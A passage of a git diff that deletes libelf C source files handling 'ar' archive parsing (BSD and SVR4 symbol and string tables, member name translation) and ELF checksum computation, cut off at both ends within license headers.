- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <ctype.h>
-#include <libelf.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "_libelf.h"
-#include "_libelf_ar.h"
-
-ELFTC_VCSID("$Id: libelf_ar.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-#define	LIBELF_NALLOC_SIZE	16
-
-/*
- * `ar' archive handling.
- *
- * `ar' archives start with signature `ARMAG'.  Each archive member is
- * preceded by a header containing meta-data for the member.  This
- * header is described in <ar.h> (struct ar_hdr).  The header always
- * starts on an even address.  File data is padded with "\n"
- * characters to keep this invariant.
- *
- * Special considerations for `ar' archives:
- *
- * There are two variants of the `ar' archive format: traditional BSD
- * and SVR4.  These differ in the way long file names are treated, and
- * in the layout of the archive symbol table.
- *
- * The `ar' header only has space for a 16 character file name.
- *
- * In the SVR4 format, file names are terminated with a '/', so this
- * effectively leaves 15 characters for the actual file name.  Longer
- * file names stored in a separate 'string table' and referenced
- * indirectly from the name field.  The string table itself appears as
- * an archive member with name "// ".  An `indirect' file name in an
- * `ar' header matches the pattern "/[0-9]*". The digits form a
- * decimal number that corresponds to a byte offset into the string
- * table where the actual file name of the object starts.  Strings in
- * the string table are padded to start on even addresses.
- *
- * In the BSD format, file names can be upto 16 characters.  File
- * names shorter than 16 characters are padded to 16 characters using
- * (ASCII) space characters.  File names with embedded spaces and file
- * names longer than 16 characters are stored immediately after the
- * archive header and the name field set to a special indirect name
- * matching the pattern "#1/[0-9]+".  The digits form a decimal number
- * that corresponds to the actual length of the file name following
- * the archive header.  The content of the archive member immediately
- * follows the file name, and the size field of the archive member
- * holds the sum of the sizes of the member and of the appended file
- * name.
- *
- * Archives may also have a symbol table (see ranlib(1)), mapping
- * program symbols to object files inside the archive.
- *
- * In the SVR4 format, a symbol table uses a file name of "/ " in its
- * archive header.  The symbol table is structured as:
- *  - a 4-byte count of entries stored as a binary value, MSB first
- *  - 'n' 4-byte offsets, stored as binary values, MSB first
- *  - 'n' NUL-terminated strings, for ELF symbol names, stored unpadded.
- *
- * In the BSD format, the symbol table uses a file name of "__.SYMDEF".
- * It is structured as two parts:
- *  - The first part is an array of "ranlib" structures preceded by
- *    the size of the array in bytes.  Each "ranlib" structure
- *    describes one symbol.  Each structure contains an offset into
- *    the string table for the symbol name, and a file offset into the
- *    archive for the member defining the symbol.
- *  - The second part is a string table containing NUL-terminated
- *    strings, preceded by the size of the string table in bytes.
- *
- * If the symbol table and string table are is present in an archive
- * they must be the very first objects and in that order.
- */
-
-
-/*
- * Retrieve an archive header descriptor.
- */
-
-Elf_Arhdr *
-_libelf_ar_gethdr(Elf *e)
-{
-	Elf *parent;
-	char *namelen;
-	Elf_Arhdr *eh;
-	size_t n, nlen;
-	struct ar_hdr *arh;
-
-	if ((parent = e->e_parent) == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	assert((e->e_flags & LIBELF_F_AR_HEADER) == 0);
-
-	arh = (struct ar_hdr *) (uintptr_t) e->e_hdr.e_rawhdr;
-
-	assert((uintptr_t) arh >= (uintptr_t) parent->e_rawfile + SARMAG);
-	assert((uintptr_t) arh <= (uintptr_t) parent->e_rawfile +
-	    parent->e_rawsize - sizeof(struct ar_hdr));
-
-	if ((eh = malloc(sizeof(Elf_Arhdr))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	e->e_hdr.e_arhdr = eh;
-	e->e_flags |= LIBELF_F_AR_HEADER;
-
-	eh->ar_name = eh->ar_rawname = NULL;
-
-	if ((eh->ar_name = _libelf_ar_get_translated_name(arh, parent)) ==
-	    NULL)
-		goto error;
-
-	if (_libelf_ar_get_number(arh->ar_uid, sizeof(arh->ar_uid), 10,
-	    &n) == 0)
-		goto error;
-	eh->ar_uid = (uid_t) n;
-
-	if (_libelf_ar_get_number(arh->ar_gid, sizeof(arh->ar_gid), 10,
-	    &n) == 0)
-		goto error;
-	eh->ar_gid = (gid_t) n;
-
-	if (_libelf_ar_get_number(arh->ar_mode, sizeof(arh->ar_mode), 8,
-	    &n) == 0)
-		goto error;
-	eh->ar_mode = (mode_t) n;
-
-	if (_libelf_ar_get_number(arh->ar_size, sizeof(arh->ar_size), 10,
-	    &n) == 0)
-		goto error;
-
-	/*
-	 * Get the true size of the member if extended naming is being used.
-	 */
-	if (IS_EXTENDED_BSD_NAME(arh->ar_name)) {
-		namelen = arh->ar_name +
-		    LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE;
-		if (_libelf_ar_get_number(namelen, sizeof(arh->ar_name) -
-		    LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE, 10, &nlen) == 0)
-			goto error;
-		n -= nlen;
-	}
-
-	eh->ar_size = n;
-
-	if ((eh->ar_rawname = _libelf_ar_get_raw_name(arh)) == NULL)
-		goto error;
-
-	eh->ar_flags = 0;
-
-	return (eh);
-
- error:
-	if (eh) {
-		if (eh->ar_name)
-			free(eh->ar_name);
-		if (eh->ar_rawname)
-			free(eh->ar_rawname);
-		free(eh);
-	}
-
-	e->e_flags &= ~LIBELF_F_AR_HEADER;
-	e->e_hdr.e_rawhdr = (char *) arh;
-
-	return (NULL);
-}
-
-Elf *
-_libelf_ar_open_member(int fd, Elf_Cmd c, Elf *elf)
-{
-	Elf *e;
-	char *member, *namelen;
-	size_t nsz, sz;
-	off_t next;
-	struct ar_hdr *arh;
-
-	assert(elf->e_kind == ELF_K_AR);
-
-	next = elf->e_u.e_ar.e_next;
-
-	/*
-	 * `next' is only set to zero by elf_next() when the last
-	 * member of an archive is processed.
-	 */
-	if (next == (off_t) 0)
-		return (NULL);
-
-	assert((next & 1) == 0);
-
-	arh = (struct ar_hdr *) (elf->e_rawfile + next);
-
-	/*
-	 * Retrieve the size of the member.
-	 */
-	if (_libelf_ar_get_number(arh->ar_size, sizeof(arh->ar_size), 10,
-	    &sz) == 0) {
-		LIBELF_SET_ERROR(ARCHIVE, 0);
-		return (NULL);
-	}
-
-	/*
-	 * Adjust the size field for members in BSD archives using
-	 * extended naming.
-	 */
-	if (IS_EXTENDED_BSD_NAME(arh->ar_name)) {
-		namelen = arh->ar_name +
-		    LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE;
-		if (_libelf_ar_get_number(namelen, sizeof(arh->ar_name) -
-		    LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE, 10, &nsz) == 0) {
-			LIBELF_SET_ERROR(ARCHIVE, 0);
-			return (NULL);
-		}
-
-		member = (char *) (arh + 1) + nsz;
-		sz -= nsz;
-	} else
-		member = (char *) (arh + 1);
-
-
-	if ((e = elf_memory((char *) member, sz)) == NULL)
-		return (NULL);
-
-	e->e_fd = fd;
-	e->e_cmd = c;
-	e->e_hdr.e_rawhdr = (char *) arh;
-
-	elf->e_u.e_ar.e_nchildren++;
-	e->e_parent = elf;
-
-	return (e);
-}
-
-/*
- * A BSD-style ar(1) symbol table has the following layout:
- *
- * - A count of bytes used by the following array of 'ranlib'
- *   structures, stored as a 'long'.
- * - An array of 'ranlib' structures.  Each array element is
- *   two 'long's in size.
- * - A count of bytes used for the following symbol table.
- * - The symbol table itself.
- */
-
-/*
- * A helper macro to read in a 'long' value from the archive.  We use
- * memcpy() since the source pointer may be misaligned with respect to
- * the natural alignment for a C 'long'.
- */
-#define	GET_LONG(P, V)do {				\
-		memcpy(&(V), (P), sizeof(long));	\
-		(P) += sizeof(long);			\
-	} while (0)
-
-Elf_Arsym *
-_libelf_ar_process_bsd_symtab(Elf *e, size_t *count)
-{
-	Elf_Arsym *symtab, *sym;
-	unsigned char *end, *p, *p0, *s, *s0;
-	const unsigned int entrysize = 2 * sizeof(long);
-	long arraysize, fileoffset, n, nentries, stroffset, strtabsize;
-
-	assert(e != NULL);
-	assert(count != NULL);
-	assert(e->e_u.e_ar.e_symtab == NULL);
-
-	symtab = NULL;
-
-	/*
-	 * The BSD symbol table always contains the count fields even
-	 * if there are no entries in it.
-	 */
-	if (e->e_u.e_ar.e_rawsymtabsz < 2 * sizeof(long))
-		goto symtaberror;
-
-	p = p0 = (unsigned char *) e->e_u.e_ar.e_rawsymtab;
-	end = p0 + e->e_u.e_ar.e_rawsymtabsz;
-
-	/*
-	 * Retrieve the size of the array of ranlib descriptors and
-	 * check it for validity.
-	 */
-	GET_LONG(p, arraysize);
-
-	if (p0 + arraysize >= end || (arraysize % entrysize != 0))
-		goto symtaberror;
-
-	/*
-	 * Check the value of the string table size.
-	 */
-	s = p + arraysize;
-	GET_LONG(s, strtabsize);
-
-	s0 = s;			/* Start of string table. */
-	if (s0 + strtabsize > end)
-		goto symtaberror;
-
-	nentries = arraysize / entrysize;
-
-	/*
-	 * Allocate space for the returned Elf_Arsym array.
-	 */
-	if ((symtab = malloc(sizeof(Elf_Arsym) * (nentries + 1))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	/* Read in symbol table entries. */
-	for (n = 0, sym = symtab; n < nentries; n++, sym++) {
-		GET_LONG(p, stroffset);
-		GET_LONG(p, fileoffset);
-
-		s = s0 + stroffset;
-
-		if (s >= end)
-			goto symtaberror;
-
-		sym->as_off = fileoffset;
-		sym->as_hash = elf_hash((char *) s);
-		sym->as_name = (char *) s;
-	}
-
-	/* Fill up the sentinel entry. */
-	sym->as_name = NULL;
-	sym->as_hash = ~0UL;
-	sym->as_off = (off_t) 0;
-
-	/* Remember the processed symbol table. */
-	e->e_u.e_ar.e_symtab = symtab;
-
-	*count = e->e_u.e_ar.e_symtabsz = nentries + 1;
-
-	return (symtab);
-
-symtaberror:
-	if (symtab)
-		free(symtab);
-	LIBELF_SET_ERROR(ARCHIVE, 0);
-	return (NULL);
-}
-
-/*
- * An SVR4-style ar(1) symbol table has the following layout:
- *
- * - The first 4 bytes are a binary count of the number of entries in the
- *   symbol table, stored MSB-first.
- * - Then there are 'n' 4-byte binary offsets, also stored MSB first.
- * - Following this, there are 'n' null-terminated strings.
- */
-
-#define	GET_WORD(P, V) do {			\
-		(V) = 0;			\
-		(V) = (P)[0]; (V) <<= 8;	\
-		(V) += (P)[1]; (V) <<= 8;	\
-		(V) += (P)[2]; (V) <<= 8;	\
-		(V) += (P)[3];			\
-	} while (0)
-
-#define	INTSZ	4
-
-
-Elf_Arsym *
-_libelf_ar_process_svr4_symtab(Elf *e, size_t *count)
-{
-	size_t n, nentries, off;
-	Elf_Arsym *symtab, *sym;
-	unsigned char *p, *s, *end;
-
-	assert(e != NULL);
-	assert(count != NULL);
-	assert(e->e_u.e_ar.e_symtab == NULL);
-
-	symtab = NULL;
-
-	if (e->e_u.e_ar.e_rawsymtabsz < INTSZ)
-		goto symtaberror;
-
-	p = (unsigned char *) e->e_u.e_ar.e_rawsymtab;
-	end = p + e->e_u.e_ar.e_rawsymtabsz;
-
-	GET_WORD(p, nentries);
-	p += INTSZ;
-
-	if (nentries == 0 || p + nentries * INTSZ >= end)
-		goto symtaberror;
-
-	/* Allocate space for a nentries + a sentinel. */
-	if ((symtab = malloc(sizeof(Elf_Arsym) * (nentries+1))) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	s = p + (nentries * INTSZ); /* start of the string table. */
-
-	for (n = nentries, sym = symtab; n > 0; n--) {
-
-		if (s >= end)
-			goto symtaberror;
-
-		off = 0;
-
-		GET_WORD(p, off);
-
-		sym->as_off = off;
-		sym->as_hash = elf_hash((char *) s);
-		sym->as_name = (char *) s;
-
-		p += INTSZ;
-		sym++;
-
-		for (; s < end && *s++ != '\0';) /* skip to next string */
-			;
-	}
-
-	/* Fill up the sentinel entry. */
-	sym->as_name = NULL;
-	sym->as_hash = ~0UL;
-	sym->as_off = (off_t) 0;
-
-	*count = e->e_u.e_ar.e_symtabsz = nentries + 1;
-	e->e_u.e_ar.e_symtab = symtab;
-
-	return (symtab);
-
-symtaberror:
-	if (symtab)
-		free(symtab);
-	LIBELF_SET_ERROR(ARCHIVE, 0);
-	return (NULL);
-}
diff --git a/src/libelf/libelf_ar_util.c b/src/libelf/libelf_ar_util.c
deleted file mode 100644
index 958fbbf..0000000
--- a/src/libelf/libelf_ar_util.c
+++ /dev/null
@@ -1,359 +0,0 @@
-/*-
- * Copyright (c) 2006,2009,2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <assert.h>
-#include <libelf.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include "_libelf.h"
-#include "_libelf_ar.h"
-
-ELFTC_VCSID("$Id: libelf_ar_util.c 2365 2011-12-29 04:36:44Z jkoshy $");
-
-/*
- * Convert a string bounded by `start' and `start+sz' (exclusive) to a
- * number in the specified base.
- */
-int
-_libelf_ar_get_number(const char *s, size_t sz, int base, size_t *ret)
-{
-	int c, v;
-	size_t r;
-	const char *e;
-
-	assert(base <= 10);
-
-	e = s + sz;
-
-	/* skip leading blanks */
-	for (;s < e && (c = *s) == ' '; s++)
-		;
-
-	r = 0L;
-	for (;s < e; s++) {
-		if ((c = *s) == ' ')
-			break;
-		if (c < '0' || c > '9')
-			return (0);
-		v = c - '0';
-		if (v >= base)		/* Illegal digit. */
-			break;
-		r *= base;
-		r += v;
-	}
-
-	*ret = r;
-
-	return (1);
-}
-
-/*
- * Return the translated name for an archive member.
- */
-char *
-_libelf_ar_get_translated_name(const struct ar_hdr *arh, Elf *ar)
-{
-	char c, *s;
-	size_t len, offset;
-	const char *buf, *p, *q, *r;
-	const size_t bufsize = sizeof(arh->ar_name);
-
-	assert(arh != NULL);
-	assert(ar->e_kind == ELF_K_AR);
-	assert((const char *) arh >= ar->e_rawfile &&
-	    (const char *) arh < ar->e_rawfile + ar->e_rawsize);
-
-	buf = arh->ar_name;
-
-	/*
-	 * Check for extended naming.
-	 *
-	 * If the name matches the pattern "^/[0-9]+", it is an
-	 * SVR4-style extended name.  If the name matches the pattern
-	 * "#1/[0-9]+", the entry uses BSD style extended naming.
-	 */
-	if (buf[0] == '/' && (c = buf[1]) >= '0' && c <= '9') {
-		/*
-		 * The value in field ar_name is a decimal offset into
-		 * the archive string table where the actual name
-		 * resides.
-		 */
-		if (_libelf_ar_get_number(buf + 1, bufsize - 1, 10,
-			&offset) == 0) {
-			LIBELF_SET_ERROR(ARCHIVE, 0);
-			return (NULL);
-		}
-
-		if (offset > ar->e_u.e_ar.e_rawstrtabsz) {
-			LIBELF_SET_ERROR(ARCHIVE, 0);
-			return (NULL);
-		}
-
-		p = q = ar->e_u.e_ar.e_rawstrtab + offset;
-		r = ar->e_u.e_ar.e_rawstrtab + ar->e_u.e_ar.e_rawstrtabsz;
-
-		for (; p < r && *p != '/'; p++)
-			;
-		len = p - q + 1; /* space for the trailing NUL */
-
-		if ((s = malloc(len)) == NULL) {
-			LIBELF_SET_ERROR(RESOURCE, 0);
-			return (NULL);
-		}
-
-		(void) strncpy(s, q, len - 1);
-		s[len - 1] = '\0';
-
-		return (s);
-	} else if (IS_EXTENDED_BSD_NAME(buf)) {
-		r = buf + LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE;
-
-		if (_libelf_ar_get_number(r, bufsize -
-			LIBELF_AR_BSD_EXTENDED_NAME_PREFIX_SIZE, 10,
-			&len) == 0) {
-			LIBELF_SET_ERROR(ARCHIVE, 0);
-			return (NULL);
-		}
-
-		/*
-		 * Allocate space for the file name plus a
-		 * trailing NUL.
-		 */
-		if ((s = malloc(len + 1)) == NULL) {
-			LIBELF_SET_ERROR(RESOURCE, 0);
-			return (NULL);
-		}
-
-		/*
-		 * The file name follows the archive header.
-		 */
-		q = (const char *) (arh + 1);
-
-		(void) strncpy(s, q, len);
-		s[len] = '\0';
-
-		return (s);
-	}
-
-	/*
-	 * A 'normal' name.
-	 *
-	 * Skip back over trailing blanks from the end of the field.
-	 * In the SVR4 format, a '/' is used as a terminator for
-	 * non-special names.
-	 */
-	for (q = buf + bufsize - 1; q >= buf && *q == ' '; --q)
-		;
-
-	if (q >= buf) {
-		if (*q == '/') {
-			/*
-			 * SVR4 style names: ignore the trailing
-			 * character '/', but only if the name is not
-			 * one of the special names "/" and "//".
-			 */
-			if (q > buf + 1 ||
-			    (q == (buf + 1) && *buf != '/'))
-				q--;
-		}
-
-		len = q - buf + 2; /* Add space for a trailing NUL. */
-	} else {
-		/* The buffer only had blanks. */
-		buf = "";
-		len = 1;
-	}
-
-	if ((s = malloc(len)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	(void) strncpy(s, buf, len - 1);
-	s[len - 1] = '\0';
-
-	return (s);
-}
-
-/*
- * Return the raw name for an archive member, inclusive of any
- * formatting characters.
- */
-char *
-_libelf_ar_get_raw_name(const struct ar_hdr *arh)
-{
-	char *rawname;
-	const size_t namesz = sizeof(arh->ar_name);
-
-	if ((rawname = malloc(namesz + 1)) == NULL) {
-		LIBELF_SET_ERROR(RESOURCE, 0);
-		return (NULL);
-	}
-
-	(void) strncpy(rawname, arh->ar_name, namesz);
-	rawname[namesz] = '\0';
-	return (rawname);
-}
-
-/*
- * Open an 'ar' archive.
- */
-Elf *
-_libelf_ar_open(Elf *e, int reporterror)
-{
-	size_t sz;
-	int scanahead;
-	char *s, *end;
-	struct ar_hdr arh;
-
-	_libelf_init_elf(e, ELF_K_AR);
-
-	e->e_u.e_ar.e_nchildren = 0;
-	e->e_u.e_ar.e_next = (off_t) -1;
-
-	/*
-	 * Look for special members.
-	 */
-
-	s = e->e_rawfile + SARMAG;
-	end = e->e_rawfile + e->e_rawsize;
-
-	assert(e->e_rawsize > 0);
-
-	/*
-	 * We use heuristics to determine the flavor of the archive we
-	 * are examining.
-	 *
-	 * SVR4 flavor archives use the name "/ " and "// " for
-	 * special members.
-	 *
-	 * In BSD flavor archives the symbol table, if present, is the
-	 * first archive with name "__.SYMDEF".
-	 */
-
-#define	READ_AR_HEADER(S, ARH, SZ, END)					\
-	do {								\
-		if ((S) + sizeof((ARH)) > (END))			\
-		        goto error;					\
-		(void) memcpy(&(ARH), (S), sizeof((ARH)));		\
-		if ((ARH).ar_fmag[0] != '`' || (ARH).ar_fmag[1] != '\n') \
-			goto error;					\
-		if (_libelf_ar_get_number((ARH).ar_size,		\
-		    sizeof((ARH).ar_size), 10, &(SZ)) == 0)		\
-			goto error;					\
-	} while (0)
-
-	READ_AR_HEADER(s, arh, sz, end);
-
-	/*
-	 * Handle special archive members for the SVR4 format.
-	 */
-	if (arh.ar_name[0] == '/') {
-
-		assert(sz > 0);
-
-		e->e_flags |= LIBELF_F_AR_VARIANT_SVR4;
-
-		scanahead = 0;
-
-		/*
-		 * The symbol table (file name "/ ") always comes before the
-		 * string table (file name "// ").
-		 */
-		if (arh.ar_name[1] == ' ') {
-			/* "/ " => symbol table. */
-			scanahead = 1;	/* The string table to follow. */
-
-			s += sizeof(arh);
-			e->e_u.e_ar.e_rawsymtab = s;
-			e->e_u.e_ar.e_rawsymtabsz = sz;
-
-			sz = LIBELF_ADJUST_AR_SIZE(sz);
-			s += sz;
-
-		} else if (arh.ar_name[1] == '/' && arh.ar_name[2] == ' ') {
-			/* "// " => string table for long file names. */
-			s += sizeof(arh);
-			e->e_u.e_ar.e_rawstrtab = s;
-			e->e_u.e_ar.e_rawstrtabsz = sz;
-
-			sz = LIBELF_ADJUST_AR_SIZE(sz);
-			s += sz;
-		}
-
-		/*
-		 * If the string table hasn't been seen yet, look for
-		 * it in the next member.
-		 */
-		if (scanahead) {
-			READ_AR_HEADER(s, arh, sz, end);
-
-			/* "// " => string table for long file names. */
-			if (arh.ar_name[0] == '/' && arh.ar_name[1] == '/' &&
-			    arh.ar_name[2] == ' ') {
-
-				s += sizeof(arh);
-
-				e->e_u.e_ar.e_rawstrtab = s;
-				e->e_u.e_ar.e_rawstrtabsz = sz;
-
-				sz = LIBELF_ADJUST_AR_SIZE(sz);
-				s += sz;
-			}
-		}
-	} else if (strncmp(arh.ar_name, LIBELF_AR_BSD_SYMTAB_NAME,
-		sizeof(LIBELF_AR_BSD_SYMTAB_NAME) - 1) == 0) {
-		/*
-		 * BSD style archive symbol table.
-		 */
-		s += sizeof(arh);
-		e->e_u.e_ar.e_rawsymtab = s;
-		e->e_u.e_ar.e_rawsymtabsz = sz;
-
-		sz = LIBELF_ADJUST_AR_SIZE(sz);
-		s += sz;
-	}
-
-	/*
-	 * Update the 'next' offset, so that a subsequent elf_begin()
-	 * works as expected.
-	 */
-	e->e_u.e_ar.e_next = (off_t) (s - e->e_rawfile);
-
-	return (e);
-
-error:
-	if (!reporterror) {
-		e->e_kind = ELF_K_NONE;
-		return (e);
-	}
-
-	LIBELF_SET_ERROR(ARCHIVE, 0);
-	return (NULL);
-}
diff --git a/src/libelf/libelf_checksum.c b/src/libelf/libelf_checksum.c
deleted file mode 100644
index 8f84aa4..0000000
--- a/src/libelf/libelf_checksum.c
+++ /dev/null
@@ -1,100 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <gelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: libelf_checksum.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-static unsigned long
-_libelf_sum(unsigned long c, const unsigned char *s, size_t size)
-{
-	if (s == NULL || size == 0)
-		return (c);
-
-	while (size--)
-		c += *s++;
-
-	return (c);
-}
-
-unsigned long
-_libelf_checksum(Elf *e, int elfclass)
-{
-	size_t shn;
-	Elf_Scn *scn;
-	Elf_Data *d;
-	unsigned long checksum;
-	GElf_Ehdr eh;
-	GElf_Shdr shdr;
-
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0L);
-	}
-
-	if (e->e_class != elfclass) {
-		LIBELF_SET_ERROR(CLASS, 0);
-		return (0L);
-	}
-
-	if (gelf_getehdr(e, &eh) == NULL)
-		return (0);
-
-	/*
-	 * Iterate over all sections in the ELF file, computing the
-	 * checksum along the way.
-	 *
-	 * The first section is always SHN_UNDEF and can be skipped.
-	 * Non-allocatable sections are skipped, as are sections that
-	 * could be affected by utilities such as strip(1).
-	 */
-
-	checksum = 0;
-	for (shn = 1; shn < e->e_u.e_elf.e_nscn; shn++) {
-		if ((scn = elf_getscn(e, shn)) == NULL)
-			return (0);
-		if (gelf_getshdr(scn, &shdr) == NULL)
-			return (0);
-		if ((shdr.sh_flags & SHF_ALLOC) == 0 ||
-		    shdr.sh_type == SHT_DYNAMIC ||
-		    shdr.sh_type == SHT_DYNSYM)
-			continue;
-
-		d = NULL;
-		while ((d = elf_rawdata(scn, d)) != NULL)
-			checksum = _libelf_sum(checksum,
-			    (unsigned char *) d->d_buf, d->d_size);
-	}
-
-	/*
-	 * Return a 16-bit checksum compatible with Solaris.
-	 */
-	return (((checksum >> 16) & 0xFFFFUL) + (checksum & 0xFFFFUL));
-}
diff --git a/src/libelf/libelf_convert.c b/src/libelf/libelf_convert.c
deleted file mode 100644
index 8dbe6fe..0000000
--- a/src/libelf/libelf_convert.c
+++ /dev/null
@@ -1,3465 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- * $Id: elf_types.m4 321 2009-03-07 16:59:14Z jkoshy $
- */
-
-/*
- * ELF types, defined in the "enum Elf_Type" API.
- *
- * The members of the list form a 2-tuple: (name, C-type-suffix).
- * + name is an Elf_Type symbol without the ELF_T_ prefix.
- * + C-type-suffix is the suffix for Elf32_ and Elf64_ type names.
- */
-
-
-
-/*
- * DEFINE_STRUCT(NAME,MEMBERLIST...)
- *
- * Map a type name to its members.
- *
- * Each member-list element comprises of pairs of (field name, type),
- * in the sequence used in the file representation of NAME.
- *
- * Each member list element comprises a pair containing a field name
- * and a basic type.  Basic types include IDENT, HALF, WORD, LWORD,
- * ADDR{32,64}, OFF{32,64}, SWORD, XWORD, SXWORD.
- *
- * The last element of a member list is the null element: _,_.
- */
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-/*-
- * Copyright (c) 2006-2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS `AS IS' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
